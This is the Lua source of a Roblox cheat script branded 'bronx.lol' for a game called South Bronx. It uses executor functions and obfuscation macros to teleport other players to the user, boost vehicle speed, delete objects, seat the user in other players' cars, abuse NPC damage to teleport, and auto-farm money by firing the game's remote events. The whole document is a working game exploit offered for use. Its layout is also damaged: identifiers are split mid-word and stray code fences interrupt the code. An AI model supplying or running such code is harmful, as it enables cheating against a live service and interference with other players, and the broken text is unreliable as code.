Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character:FindFirstC
hild("HumanoidRootPart") then continue end

Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character:FindFirstC
hild("HumanoidRootPart").CFrame =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame + Vector3.new(2, 0, 0)
            end
        end))

        task.spawn(LPH_NO_VIRTUALIZE(function()
            while true do
                task.wait(0)
                if Config.South_Bronx.VehicleModifications.SpeedEnabled and
UserInputService:IsKeyDown(Enum.KeyCode.W) then
                    if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
then
                        if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                            local Humanoid =
LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                            if Humanoid and typeof(Humanoid) == "Instance" then
                                local SeatPart = Humanoid.SeatPart
                                if SeatPart and typeof(SeatPart) == "Instance" and
SeatPart:IsA("VehicleSeat") then
                                    SeatPart.AssemblyLinearVelocity *= Vector3.new(1 +
Config.South_Bronx.VehicleModifications.SpeedValue, 1, 1 +
Config.South_Bronx.VehicleModifications.SpeedValue)
                                end
                            end
                        end
```

```
                end
            end
        end
    end))

    task.spawn(LPH_NO_VIRTUALIZE(function()
        while true do
            task.wait(0)
            if Config.South_Bronx.VehicleModifications.BreakEnabled and
UserInputService:IsKeyDown(Enum.KeyCode.S) then
                if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
then
                    if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                        local Humanoid =
LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                        if Humanoid and typeof(Humanoid) == "Instance" then
                            local SeatPart = Humanoid.SeatPart
                            if SeatPart and typeof(SeatPart) == "Instance" and
SeatPart:IsA("VehicleSeat") then
                                SeatPart.AssemblyLinearVelocity *= Vector3.new(1 -
Config.South_Bronx.VehicleModifications.BreakValue, 1, 1 -
Config.South_Bronx.VehicleModifications.BreakValue)
                            end
                        end
                    end
                end
            end
        end
    end))

    UserInputService.InputBegan:Connect(function(Input, GameProcessedEvent)
        if Input.KeyCode == Config.South_Bronx.VehicleModifications.InstantStopBind and
Config.South_Bronx.VehicleModifications.InstantStop and (not GameProcessedEvent) then
            if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
then
                if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                    local Humanoid = LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                    if Humanoid and typeof(Humanoid) == "Instance" then
                        local SeatPart = Humanoid.SeatPart
                        if SeatPart and typeof(SeatPart) == "Instance" and
SeatPart:IsA("VehicleSeat") then
                            SeatPart.AssemblyLinearVelocity *= Vector3.new(0, 0, 0)
                            SeatPart.AssemblyAngularVelocity *= Vector3.new(0, 0, 0)
                        end
                    end
                end
            end
        end

        if Config.South_Bronx.LocalPlayer_Config.DeleteKey ~= nil and Input.UserInputType
== Enum.UserInputType.MouseButton1 and
UserInputService:IsKeyDown(Config.South_Bronx.LocalPlayer_Config.DeleteKey) and
Config.South_Bronx.LocalPlayer_Config.DeleteOnKey and (not GameProcessedEvent) then
            if Mouse and Mouse.Target then
```

```
                Mouse.Target:Destroy()
            end
        end
    end)


ProximityPromptService.PromptButtonHoldBegan:Connect(LPH_NO_VIRTUALIZE(function(Pro
mpt, Player)
        if Prompt and Player == LocalPlayer and fireproximityprompt then
            if Config.South_Bronx.LocalPlayer_Config.InstantInteract then
                fireproximityprompt(Prompt)
            end
        end
    end))

    getgenv().Find_Bike = LPH_NO_VIRTUALIZE(function()
        for Index, Value in Workspace:GetChildren() do
            if Value:FindFirstChild("Owner") and string.match(tostring(Value),
LocalPlayer.Name.."'s Car") and Value:FindFirstChild("Body") and
Value:FindFirstChild("Body"):FindFirstChild("Passenger") then
                return Value
            end
        end

        return nil
    end)

    local FindSeatInPlayersCar = LPH_NO_VIRTUALIZE(function(Car)
        for _Index, _Value in Car.Body:GetChildren() do
            if _Value:IsA("Seat") then
                if _Value.Occupant ~= nil then
                    continue
                    else
                    return _Value
                end
            end
        end

        return
    end)

    getgenv().SitInPlayersVehicle = LPH_NO_VIRTUALIZE(function(Player)
        if not Player.Character or Player.Character.Humanoid.SeatPart == nil then
            return
        end

        local SeatPart = Player.Character.Humanoid.SeatPart
        local Parent = SeatPart.Parent
        while Parent do
            if string.match(tostring(Parent), "'s Car") then
                Seat = FindSeatInPlayersCar(Parent)
                LocalPlayer.Character.HumanoidRootPart.CFrame = Seat.CFrame
                Seat:Sit(LocalPlayer.Character.Humanoid)
                break
```

```
        end

        Parent = Parent.Parent

        if Parent == game then
            break
        end
    end

    return Seat
end)

local Teleport_Status;

local GetDistance = LPH_NO_VIRTUALIZE(function(position1, position2)
    return (position1 - position2).Magnitude
end)

local GetTweenSpeed = LPH_NO_VIRTUALIZE(function(distance)
    local baseTime = 4.5
    local timeToTween = baseTime * (distance / 50)
    return timeToTween
end)

HideUI = LPH_NO_VIRTUALIZE(function(Title, Timing)
    getgenv().HideScreenGUI = Instance.new("ScreenGui")
    getgenv().HideScreenGUI.Name = getexecutorname()
    getgenv().HideScreenGUI.Parent = gethui and gethui() or Services.CoreGui

    local frame = Instance.new("Frame")
    frame.Name = "BlackFrame"
    frame.Size = UDim2.new(2, 0, 2, 0)
    frame.Position = UDim2.new(0, -155, 0, -155)
    frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
    frame.BackgroundTransparency = 0
    frame.Parent = getgenv().HideScreenGUI

    local textLabel = Instance.new("TextLabel")
    textLabel.Name = "\nhideuibronxlol"
    textLabel.Size = UDim2.new(0, 400, 0, 100)
    textLabel.Font = Enum.Font.SourceSansBold
    textLabel.RichText = true
    textLabel.Text = '<font color="rgb(0,163,224)">bronx.</font>lol\n' .. Title
    textLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
    textLabel.BackgroundTransparency = 1
    textLabel.TextSize = 36
    textLabel.TextStrokeTransparency = 0.8
    textLabel.TextXAlignment = Enum.TextXAlignment.Center
    textLabel.TextYAlignment = Enum.TextYAlignment.Center
    textLabel.TextWrapped = true
    textLabel.AnchorPoint = Vector2.new(0.5, 0.5)
    textLabel.Position = UDim2.new(0.5, 0, 0.5, 0)
    textLabel.Parent = getgenv().HideScreenGUI
```

```
        if Timing then
            task.spawn(function()
                local startTime = tick()
                local endTime = startTime + Timing
                while tick() < endTime do
                    local timeLeft = endTime - tick()

                    textLabel.Text = string.format(
                        '<font color="rgb(0,163,224)">bronx.</font>lol\n%s\nplease wait : <font
color="rgb(0,163,224)">%.2f</font> seconds',
                        Title, math.max(timeLeft, 0)
                    )

                    task.wait()
                end
            end)
        end

        return textLabel
    end)

    DeleteSecretUI = LPH_NO_VIRTUALIZE(function(Title)
        if getgenv().HideScreenGUI then
            getgenv().HideScreenGUI:Destroy()
            getgenv().HideScreenGUI = nil
        end

        pcall(function()
            for i,v in gethui():GetChildren() do
                if v.Name == getexecutorname() then
                    v:Destroy()
                end
            end
        end)
    end)

    local tp_debounce = false

    local GetCuttingBoard, GetBowl, GetPot, CheckHobo, GetHouse =
LPH_NO_VIRTUALIZE(function()
        for Index, Value in Workspace.Map.Locations["The Laboratory"]["Cutting
Boards"]:GetChildren() do
            local Prompt = Value:FindFirstChildWhichIsA("ProximityPrompt", true)

            if Prompt and Prompt.Enabled then
                return Value
            end
        end
    end), LPH_NO_VIRTUALIZE(function()
        for Index, Value in Workspace.Map.Locations["The Laboratory"].Bowls:GetChildren()
do
            local Prompt = Value:FindFirstChildWhichIsA("ProximityPrompt", true)

            if Prompt and Prompt.Enabled then
```

```
                return Value
            end
        end
    end), LPH_NO_VIRTUALIZE(function()
        for Index, Value in Workspace.Map.Locations["The Laboratory"].Extra:GetChildren()
do
            if Value.Name == "Table" then
                Value.CanCollide = false
            end
        end

        for Index, Value in Workspace.Map.Locations["The Laboratory"].Pots:GetChildren()
do
            local Prompt = Value:FindFirstChildWhichIsA("ProximityPrompt", true)

            if Prompt and Prompt.Enabled then
                return Value
            end
        end
    end), LPH_NO_VIRTUALIZE(function(Name)
        if Workspace.Folders.HomelessPeople:FindFirstChild(Name) then
            local Prompt =
Workspace.Folders.HomelessPeople:FindFirstChild(Name):FindFirstChildWhichIsA("ProximityP
rompt", true)

            if Prompt and Prompt.Enabled and
Workspace.Folders.HomelessPeople:FindFirstChild(Name).LeftLowerLeg.Rotation.X == 90
then
                return true
            end
        end

        return false
    end), LPH_NO_VIRTUALIZE(function()
        for Index, Value in Workspace.Map.APTS:GetChildren() do
            if Value:FindFirstChild("Board") then
                local Name = Value:FindFirstChild("Board").name.SurfaceGui.TextLabel.Text

                if Name == LocalPlayer.Name then
                    return Workspace.Map.Houses:FindFirstChild(Value.Name)
                end
            end
        end

        return nil
    end)

    local Get_Hobo = LPH_NO_VIRTUALIZE(function()
        for i,v in Workspace.Folders.HomelessPeople:GetChildren() do
            if CheckHobo(v.Name) then
                return v
            end
        end
```

```
        return nil
    end)


    getgenv().Teleport = LPH_NO_VIRTUALIZE(function(CFrame)
        if Config.South_Bronx.TeleportMethod == 'Dirt Bike' then
            local Bike = Find_Bike()

            if Bike == nil then

ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("Dealershipinteraction"):FireSer
ver("Spawn", "DirtBike")
                local BikeForce = false

                task.spawn(function()
                    task.wait(3) ; BikeForce = true
                end)

                repeat task.wait() until Find_Bike() ~= nil or BikeForce == true

                Bike = Find_Bike()
                task.wait()
                if Bike == nil then
                    library.notifications:create_notification({
                        name = "bronx.lol",
                        info = `Your bike was not found!`,
                        lifetime = 5
                    })

                    return "Failed"
                end
            end

            if Bike and Bike.DriveSeat and Bike.DriveSeat.Occupant ~= nil and
Bike.DriveSeat.Occupant ~= LocalPlayer.Character.Humanoid then

ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("Dealershipinteraction"):FireSer
ver("Spawn", "DirtBike")
                local BikeForce = false

                task.spawn(function()
                    task.wait(3) ; BikeForce = true
                end)

                repeat task.wait() until Find_Bike() ~= nil or BikeForce == true

                Bike = Find_Bike()
                task.wait()
                if Bike == nil then
                    library.notifications:create_notification({
                        name = "bronx.lol",
                        info = `Your bike was not found!`,
                        lifetime = 5
                    })
```

```
                return "Failed"
            end
        end

        LocalPlayer.Character.HumanoidRootPart.CFrame = Bike.PrimaryPart.CFrame

        Bike.DriveSeat:Sit(LocalPlayer.Character.Humanoid)

        task.wait(1.5)

        for Index = 1, 50 do
            Bike:SetPrimaryPartCFrame(CFrame + Vector3.new(0, 1.5, 0))
        end

        task.wait(1)

        for Index = 1, 10 do
            Bike:SetPrimaryPartCFrame(CFrame + Vector3.new(0, 1.5, 0))
        end

        for Index, Value in Bike:GetDescendants() do
            pcall(function()
                Value.Velocity = Vector3.new(0, 0, 0)
            end)

            pcall(function()
                Value.RotVelocity = Vector3.new(0, 0, 0)
            end)
        end

        task.wait(.25)

        ReplicatedStorage.RemoteEvents.ClientEffects:FireServer("JumpRequest")

        return "Success"
    elseif Config.South_Bronx.TeleportMethod == 'Tween' then
        local DistanceFromPos =
GetDistance(LocalPlayer.Character.HumanoidRootPart.Position , CFrame.Position)

        local Tween =
Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart,
TweenInfo.new(GetTweenSpeed(DistanceFromPos), Enum.EasingStyle.Linear), {CFrame =
CFrame})

        Tween:Play() ; Tween.Completed:Wait() ;

        return (LocalPlayer.Character.HumanoidRootPart.Position -
CFrame.Position).Magnitude > 20 and "Success" or "Failed"
    elseif Config.South_Bronx.TeleportMethod == 'Damage' then
        if tp_debounce then repeat wait(.1) until not tp_debounce end
        tp_debounce = true
        HideUI("teleporting.\nplease wait.")
```

```
            pcall(function()
                local E1 =
LocalPlayer.PlayerGui.Misc.Blood.ImageLabel.Changed:Connect(function()
                    LocalPlayer.PlayerGui.Misc.Blood.ImageLabel.Visible = false
                end)

                local E3 =
LocalPlayer.PlayerGui.Misc.Blood.Impact.Changed:Connect(function()
                    LocalPlayer.PlayerGui.Misc.Blood.Impact.Visible = false
                end)

                local E5 = Lighting.ChildAdded:Connect(function(a)
                    if tostring(a) == "KN_Blur" then
                        a.Enabled = false
                    end
                end)

                local Hobo = Get_Hobo()

                if not Hobo then
                    repeat wait(1) Hobo = Get_Hobo()
                    until Hobo ~= nil
                end

                repeat
                    task.wait()
                    if Hobo then
                        LocalPlayer.Character.HumanoidRootPart.CFrame =
Hobo.HumanoidRootPart.CFrame
                        fireproximityprompt(Hobo:FindFirstChildWhichIsA('ProximityPrompt', true))

                        if not CheckHobo(Hobo.Name) then
                            Hobo = Get_Hobo()
                        end
                    end

                until LocalPlayer.Character.Humanoid.Health <= 15

                local number = 1

                repeat task.wait()
                LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame + Vector3.new(0,
1, 0)
                number+=1

                if number > 50 then
                    LocalPlayer.Character.HumanoidRootPart.Anchored = true
                end

                until LocalPlayer.Character.Humanoid:GetState() ~=
Enum.HumanoidStateType.Physics

                task.delay(4, function()
                    E1:Disconnect()
```

```
                E3:Disconnect()
                E5:Disconnect()
            end)

            task.wait(1)

            LocalPlayer.Character.HumanoidRootPart.Anchored = false
        end)

        DeleteSecretUI()

        tp_debounce = false

        return (LocalPlayer.Character.HumanoidRootPart.Position -
CFrame.Position).Magnitude < 20 and "Success" or "Failed"
    end
end)

local ATMPositions = {
    ATM1 = CFrame.new(-30, 4, -300);
    ATM2 = CFrame.new(539, 4, -353);
    ATM3 = CFrame.new(497, 4, 403);
    ATM4 = CFrame.new(236, 4, -158);
    ATM5 = CFrame.new(525, -8, -92);
    ATM6 = CFrame.new(-450, 4, 370);
    ATM7 = CFrame.new(-266, 4, -209);
    ATM8 = CFrame.new(-11, 4, 231);
    ATM9 = CFrame.new(717, 4, 410);
    ATM10 = CFrame.new(-532, 3, -21);
    ATM11 = CFrame.new(-646, 4, 155);
    ATM12 = CFrame.new(698, 3, -241);
    ATM13 = CFrame.new(-315, 4, 142);
    ATM14 = CFrame.new(-378, 4, -365);
    ATM15 = CFrame.new(360, 4, -364);
    ATM16 = CFrame.new(870, 3, -346);
    ATM17 = CFrame.new(904, 3, -99);
    ATM18 = CFrame.new(1095, 3, 178);
    ATM19 = CFrame.new(1054, 4, 585);
    ATM20 = CFrame.new(895, 4, 142);
    ATM21 = CFrame.new(1021, 3, -229);
};

local PressKeyTween = LPH_NO_VIRTUALIZE(function(KeyCode, Tween)
    task.spawn(function()
        VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
        VirtualInputManager:SendKeyEvent(true, KeyCode, false, game)
        Tween.Completed:Wait()
        VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
    end)
end)

local PressKey = function(KeyCode, Duration)
    task.spawn(LPH_NO_VIRTUALIZE(function()
        Services.VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
```

```
            Services.VirtualInputManager:SendKeyEvent(true, KeyCode, false, game)
            task.wait(Duration)
            Services.VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
        end))
    end

    local boxfarm_thread

    Start_BoxFarm = function()
        boxfarm_thread = task.spawn(LPH_NO_VIRTUALIZE(function()
            while task.wait() do
                if not LocalPlayer.Character then continue end
                if not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue
end
                if not Config.South_Bronx.FarmingUtilities.BoxFarm then continue end

                if not LocalPlayer.Backpack:FindFirstChild("Crate") and not
LocalPlayer.Character:FindFirstChild("Crate") then
                    local DistanceFromBox =
GetDistance(LocalPlayer.Character.HumanoidRootPart.Position, Vector3.new(-549, 3, -82))

                    local Tween =
Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart,
TweenInfo.new(GetTweenSpeed(DistanceFromBox), Enum.EasingStyle.Linear), {CFrame =
CFrame.new(-549.1292724609375, 3.5371456146240234, -82.9239501953125)})

                    PressKeyTween(Enum.KeyCode.W, Tween) ;
PressKeyTween(Enum.KeyCode.LeftShift, Tween)

                    Tween:Play() ; Tween.Completed:Wait() ; Tween = nil

                    fireproximityprompt(Workspace.PlaceHere.Attachment.ProximityPrompt)

                    task.wait(1)

                    repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("Crate")

                    LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack.Crate)

                    task.wait(1)
                end

                if not LocalPlayer.Character:FindFirstChild("Crate") then

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Crate"))
                    task.wait(1)
                end

                if not LocalPlayer.Backpack:FindFirstChild("Crate") and not
LocalPlayer.Character:FindFirstChild("Crate") then
                    continue
                end
```

```
                local DistanceFromTruck =
GetDistance(LocalPlayer.Character.HumanoidRootPart.Position,
Vector3.new(-401.04364013671875, 3.3621325492858887, -72.07713317871094))

                local Tween =
Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart,
TweenInfo.new(GetTweenSpeed(DistanceFromTruck), Enum.EasingStyle.Linear), {CFrame =
CFrame.new(-401.04364013671875, 3.3621325492858887, -72.07713317871094)})

                PressKeyTween(Enum.KeyCode.W, Tween) ;
PressKeyTween(Enum.KeyCode.LeftShift, Tween)

                Tween:Play() ; Tween.Completed:Wait() ; Tween = nil


fireproximityprompt(Workspace.cratetruck2.Model.ClickBox.Attachment.ProximityPrompt)

                task.wait(0.9)
            end
        end))
    end

    Stop_BoxFarm = LPH_NO_VIRTUALIZE(function()
        if not boxfarm_thread then return end

        if coroutine.status(boxfarm_thread) == "suspended" then
            task.cancel(boxfarm_thread)
        end
    end)

    task.spawn(LPH_JIT_MAX(function()
        while task.wait(.1) do
            if not Config.South_Bronx.FarmingUtilities.CardFarm then continue end
            if not LocalPlayer.Character and not
LocalPlayer.Character:FindFirstChild("Humanoid") then continue end

            LocalPlayer.Character:FindFirstChild("Humanoid").Sit = false ;
LocalPlayer.Character:FindFirstChild("Humanoid").Jump = true

            for Index, Value in Workspace.Map.Locations["Community
Bank"]:GetDescendants() do
                pcall(function()
                    Value.CanCollide = false
                end)
            end
        end
    end))

    task.spawn(LPH_JIT_MAX(function()
        while task.wait(.1) do
            if not Config.South_Bronx.FarmingUtilities.MarshmallowFarm then continue end
            if not LocalPlayer.Character and not
LocalPlayer.Character:FindFirstChild("Humanoid") then continue end
```

```
            LocalPlayer.Character:FindFirstChild("Humanoid").Sit = false ;
LocalPlayer.Character:FindFirstChild("Humanoid").Jump = true
        end
    end))

    playerHasCard = false

    task.spawn(LPH_JIT_MAX(function()
        while task.wait(.1) do
            if not Config.South_Bronx.FarmingUtilities.CardFarm then continue end

            pcall(function()
                Workspace.Map.Decor:FindFirstChild("rail thing"):Destroy()
            end)

            if not Workspace.Map.Decor:FindFirstChild("rail thing") then
                break
            end
        end
    end))

    local MarshmallowFarm_Thread

    Start_MarshmallowFarm = function()
        MarshmallowFarm_Thread = task.spawn(LPH_JIT_MAX(function()
            while wait() do
                if not Config.South_Bronx.FarmingUtilities.MarshmallowFarm then continue end
                local Owns_Bike = Config.South_Bronx.OwnedBike == "No"

                local Marshmellow_Increment =
Config.South_Bronx.FarmingUtilities.MarshmallowIncrement

                local Items = {"Gelatin", "Sugar Block Bag", "Water"}

                Teleport(CFrame.new(510, 4, 602), Owns_Bike)

                for _ = 1, Marshmellow_Increment do
                    for Index, Value in Items do

ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("StorePurchase"):FireServer(Va
lue)
                        task.wait()
                    end
                end

                task.wait(3)

                local House = GetHouse();

                if not House then
                    repeat task.wait() House = GetHouse() until House ~= nil
                end

                local Pot = House.Interior["Cooking Pot"]
```

```
            Teleport(Pot.CFrame, Owns_Bike)

            task.wait(1)

            LocalPlayer.Character.Humanoid:MoveTo(Pot.Position)

            LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

            for _ = 1, Marshmellow_Increment do
                if not LocalPlayer.Character:FindFirstChild("Water") then

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Water"))
                end

                task.wait(1)

                fireproximityprompt(Pot.Attachment.ProximityPrompt)

                task.wait(2.5)

                repeat task.wait() until Pot.Timer.TextLabel.Text == "0"

                if not LocalPlayer.Character:FindFirstChild("Sugar Block Bag") then

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Sugar Block
Bag"))
                end

                task.wait(1)

                fireproximityprompt(Pot.Attachment.ProximityPrompt)

                task.wait(2.5)

                LocalPlayer.Character.Humanoid:UnequipTools()

                if not LocalPlayer.Character:FindFirstChild("Gelatin") then

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Gelatin"))
                end

                fireproximityprompt(Pot.Attachment.ProximityPrompt)

                task.wait(3)

                repeat task.wait() until Pot.Timer.TextLabel.Text == "0"

                if not LocalPlayer.Character:FindFirstChild("Empty Bag") then

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Empty Bag"))
                end

                task.wait(1)
```

```
                fireproximityprompt(Pot.Attachment.ProximityPrompt)

                task.wait(1)

                LocalPlayer.Character.Humanoid:UnequipTools()
            end

            Teleport(CFrame.new(510, 4, 602), Owns_Bike)

            repeat task.wait() until Workspace.NPCs:FindFirstChild('Lamont Bell')

            task.wait(1)

            LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(511, 4, 598))

            LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

            for Index, Value in LocalPlayer.Backpack:GetChildren() do
                if Value:IsA("Tool") and Value.Name:find("Marshmallow") then
                    LocalPlayer.Character.Humanoid:EquipTool(Value)
                    fireproximityprompt(Workspace.NPCs["Lamont
Bell"].UpperTorso.ProximityPrompt)

                    task.wait(0.25)
                end
            end

            task.wait(3)
        end
    end))
end

Stop_MarshmallowFarm = LPH_NO_VIRTUALIZE(function()
    if not MarshmallowFarm_Thread then return end
    if coroutine.status(MarshmallowFarm_Thread) == "suspended" then
        task.cancel(MarshmallowFarm_Thread)
    end
end)

local ChipFarm_Thread

Start_ChipFarm = function()
    ChipFarm_Thread = task.spawn(LPH_JIT_MAX(function()
        while task.wait(1) do
            if not Config.South_Bronx.FarmingUtilities.ChipFarm then continue end

            local Owns_Bike = Config.South_Bronx.OwnedBike == "No"

            if not LocalPlayer.Backpack:FindFirstChild("Flour") or not
LocalPlayer.Backpack:FindFirstChild("Potato") then
                Teleport_Status = Teleport(CFrame.new(-773, 4, -157), Owns_Bike)

                if not LocalPlayer.Backpack:FindFirstChild("Flour") then
```

```
                repeat task.wait(2)

ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("StorePurchase"):FireServer("Fl
our")
                repeat task.wait(2)
                until LocalPlayer.Backpack:FindFirstChild("Flour")
            end

            if not LocalPlayer.Backpack:FindFirstChild("Potato") then
                repeat task.wait(2)

ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("StorePurchase"):FireServer("P
otato")
                repeat task.wait(2)
                until LocalPlayer.Backpack:FindFirstChild("Potato")
            end
        end

        repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("Potato") and
LocalPlayer.Backpack:FindFirstChild("Flour")

        task.wait(3)

        Teleport_Status = Teleport(CFrame.new(-479, 4, -437), Owns_Bike)

        repeat task.wait() until Teleport_Status == "Success"

        task.wait(3)

        LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-479, 4, -437))

        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

        fireproximityprompt(Workspace.Map.Locations["The
Laboratory"].Prompts.Clipboard.ProximityPrompt)

        task.wait(2)

        local CookingBoard = GetCuttingBoard()

        LocalPlayer.Character.Humanoid:MoveTo(CookingBoard.Part.Position)

        LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

        if not LocalPlayer.Character:FindFirstChild("Potato") then

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Potato"))
        end

        task.wait(2)

        fireproximityprompt(CookingBoard:FindFirstChildWhichIsA("ProximityPrompt",
true))

        task.wait(3)
```

```
LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-463, 4, -473))

LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

fireproximityprompt(Workspace.Map.Locations["The
Laboratory"].Prompts["Plastic Bag"].Attachment.ProximityPrompt)

task.wait(1.5)

LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-466, 4, -474))

LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-466, 4, -522))

LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

local Bowl = GetBowl()

LocalPlayer.Character.Humanoid:MoveTo(Bowl.CamPart.Position)

LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

if not LocalPlayer.Character:FindFirstChild("Flour") then

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Flour"))
end

task.wait(1)

fireproximityprompt(Bowl.ProximityPrompt)

task.wait(5)

LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-466, 4, -518))

LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-467, 4, -470))

LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

local Pot = GetPot()

LocalPlayer.Character.Humanoid:MoveTo(Pot.Position)

LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

fireproximityprompt(Pot.ProximityPrompt)

task.wait(5)

repeat task.wait(1) until Pot.Timer.TextLabel.Text == "0"
```

```
                fireproximityprompt(Pot.ProximityPrompt)

                PressKey(Enum.KeyCode.W, .25) task.wait(.25)
                PressKey(Enum.KeyCode.S, .25) task.wait(.25)
                PressKey(Enum.KeyCode.A, .25) task.wait(.25)
                PressKey(Enum.KeyCode.D, .25) task.wait(.25)

                repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("Potato Chips")

                Teleport_Status = Teleport(Workspace.NPCs:FindFirstChild("Poor
Guy").Head.CFrame)

                repeat task.wait() until Teleport_Status == "Success"

                task.wait(3)

                LocalPlayer.Character.Humanoid:MoveTo(Workspace.NPCs:FindFirstChild("Poor
Guy").Head.Position)

                LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

                fireproximityprompt(Workspace.NPCs["Poor
Guy"].UpperTorso.ProximityPrompt)

                task.wait(1)

                task.wait(12.5)

                local Hobo = Get_Hobo()

                if not Hobo then
                   repeat wait(1)
                      Hobo = Get_Hobo()
                   until Hobo ~= nil
                end

                Teleport_Status = Teleport(Hobo.Head.CFrame)

                repeat task.wait() until Teleport_Status == "Success" and tp_debounce == false

                task.wait(5)

                PressKey(Enum.KeyCode.W, .25) task.wait(.25)
                PressKey(Enum.KeyCode.S, .25) task.wait(.25)
                PressKey(Enum.KeyCode.A, .25) task.wait(.25)
                PressKey(Enum.KeyCode.D, .25) task.wait(.25)

                task.wait(1.25)

                if not LocalPlayer.Character:FindFirstChild("Hot Chips") then

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Hot Chips"))
                end
```

```
                LocalPlayer.Character.Humanoid:MoveTo(Hobo:FindFirstChild("RightLowerLeg",
true).Position)

                LocalPlayer.Character.Humanoid.MoveToFinished:Wait()

                task.wait(4)

                local prompt = Hobo:FindFirstChildWhichIsA("ProximityPrompt", true)

                fireproximityprompt(prompt)

                task.wait(5)
            end
        end))
    end

    Stop_ChipFarm = LPH_NO_VIRTUALIZE(function()
        if not ChipFarm_Thread then return end
        if coroutine.status(ChipFarm_Thread) == "suspended" then
            task.cancel(ChipFarm_Thread)
        end
    end)

    local CardFarm_Thread

    Start_CardFarm = function()
        CardFarm_Thread = task.spawn(LPH_JIT_MAX(function()
            while task.wait(1) do
                if not Config.South_Bronx.FarmingUtilities.CardFarm then continue end
                if not LocalPlayer.Character then continue end

                if Config.South_Bronx.TeleportMethod ~= "Tween" then
                    if playerHasCard == false then
                        if not LocalPlayer.Backpack:FindFirstChild("Fake ID") and not
LocalPlayer.Character:FindFirstChild("Fake ID") and not
LocalPlayer.Backpack:FindFirstChild("Card") and not
LocalPlayer.Character:FindFirstChild("Card") then
                            local Teleport_Status = Teleport(CFrame.new(219, 4, -332))
                            repeat RunService.RenderStepped:Wait() until
Workspace.NPCs:FindFirstChild("FakeIDSeller")
                            repeat RunService.RenderStepped:Wait()
fireproximityprompt(Workspace.NPCs.FakeIDSeller.UpperTorso.Attachment:FindFirstChild("Pro
ximityPrompt")) until LocalPlayer.Backpack:FindFirstChild("Fake ID") or
LocalPlayer.Character:FindFirstChild("Fake ID")
                            repeat RunService.RenderStepped:Wait() until Teleport_Status ==
"Success"

                            task.wait(1.5)

                            repeat RunService.RenderStepped:Wait() if
LocalPlayer.Backpack:FindFirstChild("Fake ID") then
                                pcall(function()

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Fake ID"))
```

```
                    end)
                end

                until LocalPlayer.Character:FindFirstChild("Fake ID")
            end

            if not LocalPlayer.Backpack:FindFirstChild("Card") and not
LocalPlayer.Character:FindFirstChild("Card") then
                local Teleport_Status = Teleport(CFrame.new(-49, 4, -323))

                repeat RunService.RenderStepped:Wait() until
Workspace.NPCs:FindFirstChild("Bank Teller")

                repeat RunService.RenderStepped:Wait() until Teleport_Status ==
"Success"

                LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-49, 4, -321))

                task.wait(2.1)

                local Application_Successful = false
                local Old ; Old =
LocalPlayer.PlayerGui.Main.Message.Warning:GetPropertyChangedSignal("Text"):Connect(func
tion()
                    if not
LocalPlayer.PlayerGui.Main.Message.Warning.Text:find("application") then return end

                    if LocalPlayer.PlayerGui.Main.Message.Warning.Text == "Your
